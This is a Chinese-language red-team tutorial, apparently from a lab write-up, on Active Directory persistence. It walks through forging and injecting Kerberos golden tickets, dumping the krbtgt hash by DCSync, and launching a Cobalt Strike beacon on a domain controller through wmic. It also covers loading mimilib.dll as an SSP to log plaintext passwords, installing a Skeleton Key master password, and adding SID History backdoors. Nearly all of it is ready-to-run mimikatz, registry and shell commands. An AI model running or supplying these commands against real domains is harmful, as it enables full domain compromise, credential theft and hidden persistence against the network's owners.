一、PTT
1.黄金票据伪造原理
AS确认Client端登录者用户身份
KDC返回的Msg B:使用 TGS密钥(KDCHASH/KRBTGT用户NTLMHASH) 加密的TGT(Ticket-Granting-Ticket),当我们获取到krbtgt用户的NTLM哈希后,便可主动使用krbtgt用户的NTLM哈希做为TGS密钥来生成TGT发送给KDC,这样KDC如果通过解密伪造TGT获取到伪造的 [CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据。
2.黄金票据伪造条件
制作金票的条件:
- 域名称
- 域的SID值
- 域的KRBTGT账户密码HASH
- 伪造用户名,可以是任意的
3.利用步骤
(1)域名称(de1ay.com)

(2)域SID
S-1-5-21-2756371121-2868759905-3853650604

(3)域krbtgt账户ntlm hash或aes-256值
mimikatz lsadump::dcsync /user:krbtgt@de1ay.com

(4)清理所有票据
klist purge
mimikatz kerberos::purge

(5)mimikatz伪造指定用户的票据并注入内存
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080/ptt
- /admin:伪造的用户名
- /domain:域名称
- /sid:SID值,去掉最后一个 - 后面的值
- /krbtgt:krbtgt的HASH值
- /ticket:生成的票据名称
(6)查看票据
mimikatz kerberos::list
(7)得到域控shell
upload /root/beacon.exe (C:\Users\de1ay.DE1AY\Desktop\beacon.exe)
shell copy C:\Users\de1ay.DE1AY\Desktop\beacon.exe \\10.10.10.10\c$
shell wmic /authority:"kerberos:de1ay.com\DC" /node:"DC" process call create "cmd /c c:\beacon.exe"
connect 10.10.10.10
4.mimikatz
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi
kerberos::purge
kerberos::ptt golden.kirbi
kerberos::list
二、SSP
1.SSP简介
SSP(security Support Provider),一个用于身份验证的 dll,系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密码的 dll, 利用mimikatz 中mimilib.dll 文件。
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
2.SSP利用
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add “hklm\system\currentcontrolset\control\lsa\” /v “Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ
计算机重启后,如果有用户成功登录到当前系统中,会在 C:\windows\system32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件
mimikatz privilege::debug
mimikatz misc::memssp
type C:\Windows\System32\mimilsa.log
三、Skeleton Key
1.Skeleton Key
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。
Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003—Windows Server2012 R2,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。
在域控安装Skeleton Key:
privilege::debug
misc::skeleton
域内主机使用Skeleton Key登录域控,mimikatz的默认Skeleton Key设置为mimikatz。
Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限。
net use \\DC.de1ay.com mimikatz /user:administrator@de1ay.com
四、SID History
1.SID简介
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
SID History是在域迁移过程中需要使用的一个属性。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
2.Mimikatz添加后门
privilege::debug
sid::patch
sid::add /sam:ming /new:administrator
3.PowerShell查看SID
PowerShell查看ming用户的SID History
Import-Module ActiveDirectory
Get-ADUser ming -Properties sidhistory
4.验证
验证域用户ming是否有具有administrator权限:

Comments | NOTHING